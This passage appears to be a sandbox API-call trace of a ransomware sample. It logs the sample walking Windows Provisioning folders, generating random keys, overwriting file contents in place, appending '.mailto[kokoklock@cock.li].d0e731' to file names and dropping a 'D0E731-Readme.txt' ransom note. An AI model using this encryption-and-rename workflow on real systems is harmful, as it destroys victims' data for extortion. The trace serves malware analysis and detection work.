(HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0084.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.015] ReadFile (in: hFile=0x5a0, lpBuffer=0x348d230, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x294bf94c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x294bf94c*=0xfb, lpOverlapped=0x0) returned 1 [0084.015] SetFilePointerEx (in: hFile=0x5a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x294bf914 | out: lpNewFilePointer=0x0) returned 1 [0084.015] WriteFile (in: hFile=0x5a0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x294bf948, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x294bf948*=0xfb, lpOverlapped=0x0) returned 1 [0084.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db90 [0084.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d7a8 [0084.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7a8) returned 1 [0084.016] WriteFile (in: hFile=0x5a0, lpBuffer=0x342db90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x294bf944, lpOverlapped=0x0 | out: lpBuffer=0x342db90*, lpNumberOfBytesWritten=0x294bf944*=0x20, lpOverlapped=0x0) returned 1 [0084.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db90) returned 1 [0084.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.016] WriteFile (in: hFile=0x5a0, lpBuffer=0x342d7d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x294bf970, lpOverlapped=0x0 | out: lpBuffer=0x342d7d0*, lpNumberOfBytesWritten=0x294bf970*=0x8, lpOverlapped=0x0) returned 1 [0084.016] WriteFile (in: hFile=0x5a0, lpBuffer=0x294bf988*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x294bf970, lpOverlapped=0x0 | out: lpBuffer=0x294bf988*, lpNumberOfBytesWritten=0x294bf970*=0x4, lpOverlapped=0x0) returned 1 [0084.016] WriteFile (in: hFile=0x5a0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x294bf970, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x294bf970*=0x4, lpOverlapped=0x0) returned 1 [0084.016] WriteFile (in: hFile=0x5a0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x294bf970, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x294bf970*=0x6c, lpOverlapped=0x0) returned 1 [0084.016] WriteFile (in: hFile=0x5a0, lpBuffer=0x342d870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x294bf970, lpOverlapped=0x0 | out: lpBuffer=0x342d870*, lpNumberOfBytesWritten=0x294bf970*=0x20, lpOverlapped=0x0) returned 1 [0084.016] WriteFile (in: hFile=0x5a0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x294bf970, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x294bf970*=0x4, lpOverlapped=0x0) returned 1 [0084.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d870) returned 1 [0084.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7f8) returned 1 [0084.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7d0) returned 1 [0084.016] CloseHandle (hObject=0x5a0) returned 1 [0084.017] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x34226e8 [0084.017] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" [0084.017] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0084.017] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.017] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.018] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0084.018] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0084.018] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0084.018] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\" [0084.018] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\D0E731-Readme.txt" [0084.018] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0084.018] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5a0 [0084.018] WriteFile (in: hFile=0x5a0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x294bf96c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x294bf96c*=0x481, lpOverlapped=0x0) returned 1 [0084.019] CloseHandle (hObject=0x5a0) returned 1 [0084.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6df8) returned 1 [0084.019] RtlExitUserThread (Status=0x1) Thread: id = 1169 os_tid = 0x12dc [0083.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3487a58 [0083.478] wcscpy (in: _Dest=0x3487a58, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" [0083.478] wcscat (in: _Dest=0x3487a58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\" [0083.479] wcscat (in: _Dest=0x3487a58, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*" [0083.479] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a04a8 [0083.479] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*", lpFindFileData=0x34a04a8 | out: lpFindFileData=0x34a04a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0398 [0084.001] wcscmp (_String1=".", _String2=".") returned 0 [0084.001] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x34a04a8 | out: lpFindFileData=0x34a04a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.001] wcscmp (_String1="..", _String2=".") returned 1 [0084.002] wcscmp (_String1="..", _String2="..") returned 0 [0084.002] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x34a04a8 | out: lpFindFileData=0x34a04a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53dc2e6f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53dc2e6f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0084.002] wcscmp (_String1="0__Power_Policy.provxml", _String2=".") returned 1 [0084.002] wcscmp (_String1="0__Power_Policy.provxml", _String2="..") returned 1 [0084.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3482528 [0084.002] wcscpy (in: _Dest=0x3482528, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" [0084.002] wcscat (in: _Dest=0x3482528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\" [0084.002] wcscat (in: _Dest=0x3482528, _Source="0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" [0084.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0084.783] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x34a04a8 | out: lpFindFileData=0x34a04a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53dc2e6f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53dc2e6f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0084.783] FindClose (in: hFindFile=0x33e0398 | out: hFindFile=0x33e0398) returned 1 [0084.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a04a8) returned 1 [0084.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487a58) returned 1 [0084.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431e48) returned 1 [0084.783] RtlExitUserThread (Status=0x0) Thread: id = 1170 os_tid = 0x12e0 [0083.479] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml")) returned 0x20 [0083.979] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0083.979] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0083.979] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x295bfae4 | out: lpFileSize=0x295bfae4*=428) returned 1 [0083.979] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.979] ReadFile (in: hFile=0x6c0, lpBuffer=0x295bfab8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x295bfab4, lpOverlapped=0x0 | out: lpBuffer=0x295bfab8*, lpNumberOfBytesRead=0x295bfab4*=0x4, lpOverlapped=0x0) returned 1 [0083.980] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0083.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d870 [0083.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d758 [0083.981] NtQuerySystemTime (in: CurrentTime=0x295bfa90 | out: CurrentTime=0x295bfa90*=132121176418672641) returned 0x0 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xca1f0a53 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x91405f96 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xe1237ce8 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xe974eb9a [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x352e1c42 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xc81ec70 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x254b8631 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x926d397 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x241c7834 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x3c6daeab [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xf206af35 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xa6ef9b24 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x2373adae [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xcbc7d05d [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x666077f5 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xd96c05c1 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x88e48aac [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xaca9d36f [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x4ceb12ed [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xc2a27101 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xeae59b56 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x5b06a6ed [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xf1cdbfc5 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x67d95112 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xe9c1649a [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x9e699214 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x37f4ed98 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xc6730c7 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x695365b7 [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x3a811cad [0083.981] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0xfe1d62bc [0083.982] RtlRandom (in: Seed=0x295bfa9c | out: Seed=0x295bfa9c) returned 0x2c9ee3fa [0083.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0083.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0083.992] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0083.992] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.992] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0083.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0083.992] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.992] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.992] ReadFile (in: hFile=0x6c0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x1ac, lpNumberOfBytesRead=0x295bfa90, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x295bfa90*=0x1ac, lpOverlapped=0x0) returned 1 [0083.992] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295bfa58 | out: lpNewFilePointer=0x0) returned 1 [0083.992] WriteFile (in: hFile=0x6c0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x1ac, lpNumberOfBytesWritten=0x295bfa8c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x295bfa8c*=0x1ac, lpOverlapped=0x0) returned 1 [0083.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db90 [0083.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d780 [0083.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d780) returned 1 [0083.996] WriteFile (in: hFile=0x6c0, lpBuffer=0x342db90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x295bfa88, lpOverlapped=0x0 | out: lpBuffer=0x342db90*, lpNumberOfBytesWritten=0x295bfa88*=0x20, lpOverlapped=0x0) returned 1 [0083.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db90) returned 1 [0083.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0083.996] WriteFile (in: hFile=0x6c0, lpBuffer=0x342d7d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x295bfab4, lpOverlapped=0x0 | out: lpBuffer=0x342d7d0*, lpNumberOfBytesWritten=0x295bfab4*=0x8, lpOverlapped=0x0) returned 1 [0083.996] WriteFile (in: hFile=0x6c0, lpBuffer=0x295bfacc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x295bfab4, lpOverlapped=0x0 | out: lpBuffer=0x295bfacc*, lpNumberOfBytesWritten=0x295bfab4*=0x4, lpOverlapped=0x0) returned 1 [0083.996] WriteFile (in: hFile=0x6c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x295bfab4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x295bfab4*=0x4, lpOverlapped=0x0) returned 1 [0083.997] WriteFile (in: hFile=0x6c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x295bfab4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x295bfab4*=0x6c, lpOverlapped=0x0) returned 1 [0083.997] WriteFile (in: hFile=0x6c0, lpBuffer=0x342d870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x295bfab4, lpOverlapped=0x0 | out: lpBuffer=0x342d870*, lpNumberOfBytesWritten=0x295bfab4*=0x20, lpOverlapped=0x0) returned 1 [0083.997] WriteFile (in: hFile=0x6c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x295bfab4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x295bfab4*=0x4, lpOverlapped=0x0) returned 1 [0083.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d870) returned 1 [0083.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7f8) returned 1 [0083.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7d0) returned 1 [0083.997] CloseHandle (hObject=0x6c0) returned 1 [0083.997] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x34226e8 [0083.997] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" [0083.997] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0083.997] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0083.999] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0083.999] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0083.999] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0083.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0083.999] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All 